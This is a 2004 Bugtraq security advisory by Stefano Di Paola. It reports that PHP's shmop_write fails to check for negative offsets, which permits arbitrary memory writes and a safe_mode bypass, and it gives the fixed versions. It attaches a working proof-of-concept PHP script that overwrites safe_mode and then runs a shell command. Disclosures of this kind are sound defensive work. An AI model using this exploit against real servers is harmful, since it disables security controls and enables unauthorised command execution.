[37813] in bugtraq
PHP shmop.c module permits write of arbitrary memory.
daemon@ATHENA.MIT.EDU (Stefano Di Paola)
Mon Dec 20 11:44:00 2004
From: Stefano Di Paola <stefano.dipaola@wisec.it>
To: Bugtraq <bugtraq@securityfocus.com>
Content-Type: multipart/mixed; boundary="=-EgJ4oUvtTJTtmsu2c4ap"
Message-Id: <1103481654.3237.1.camel@localhost>
Mime-Version: 1.0
Date: Sun, 19 Dec 2004 19:40:54 +0100
--=-EgJ4oUvtTJTtmsu2c4ap
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Hi list-eners,
==========================================================
Title: Php shmop write of arbitrary memory - Safe Mode Bypass
Affected: Php <= 5.0.2 & 4.3.9 if shmop module is loaded.
Vulnerability Type: Input Validation - write of arbitrary memory
==Summary
Shared Memory PHP Module has a memory leak when shmop_write function
checks for offset bounds.
This flaw could lead to bypass Safe Mode and other bad things.
==Description
shmop.c in PHP_FUNCTION(shmop_write)
function does not check if the 'offset' value is negative,
so it is possible to overwrite arbitrary memory with:
memcpy(shmop->addr + offset, data, writesize);
this, in particular can be used to set safe_mode to off.
Attached there's a Proof of concept for this vuln.
It needs some gdb debugging or print the address of core_globals.safe_mode
and some try to get the right distance to set in '$offset'.
Of course shmop.so needs to be loaded as module or embedded in php bins.:)
Solution:
Update php to 5.0.3 or 4.3.10
Regards,
Stefano Di Paola
--
......---oOOo--------oOOo---......
Stefano Di Paola
Software Engineer
Email: stefano.dipaola_at_wisec.it
Email: stefano.dipaola1_at_tin.it
Web: www.wisec.it
..................................
--=-EgJ4oUvtTJTtmsu2c4ap
Content-Disposition: attachment; filename=safe_mode_bypass.php
Content-Type: application/x-php; name=safe_mode_bypass.php
Content-Transfer-Encoding: 7bit
<?
/*
Php Safe_mode Bypass Proof of concept.
Copyright 2004 Stefano Di Paola stefano.dipaola[at]wisec.it
Disclaimer: The author is not responsible of any damage this script can cause
*/
$shm_id = shmop_open(0xff2, "c", 0644, 100);
if (!$shm_id) {
echo "Couldn't create shared memory segment\n";
die;
}
// $data="\x01";
// the new value for safe_mode
$data="\x00";
// this (-3842685) is my offset to reach core_globals.safe_mode
// taken with gdb. (0x40688d83)
$offset=-3842685;
// Lets write the new value at our offset.
$shm_bytes_written = shmop_write($shm_id, $data, $offset );
if ($shm_bytes_written != strlen($data)) {
echo "Couldn't write the entire length of data\n";
}
//Now lets delete the block and close the shared memory segment
if (!shmop_delete($shm_id)) {
echo "Couldn't mark shared memory block for deletion.";
}
shmop_close($shm_id);
// Let's try if safe mode has been set to off
echo passthru("id");
dl("shmop.so");
?>
--=-EgJ4oUvtTJTtmsu2c4ap--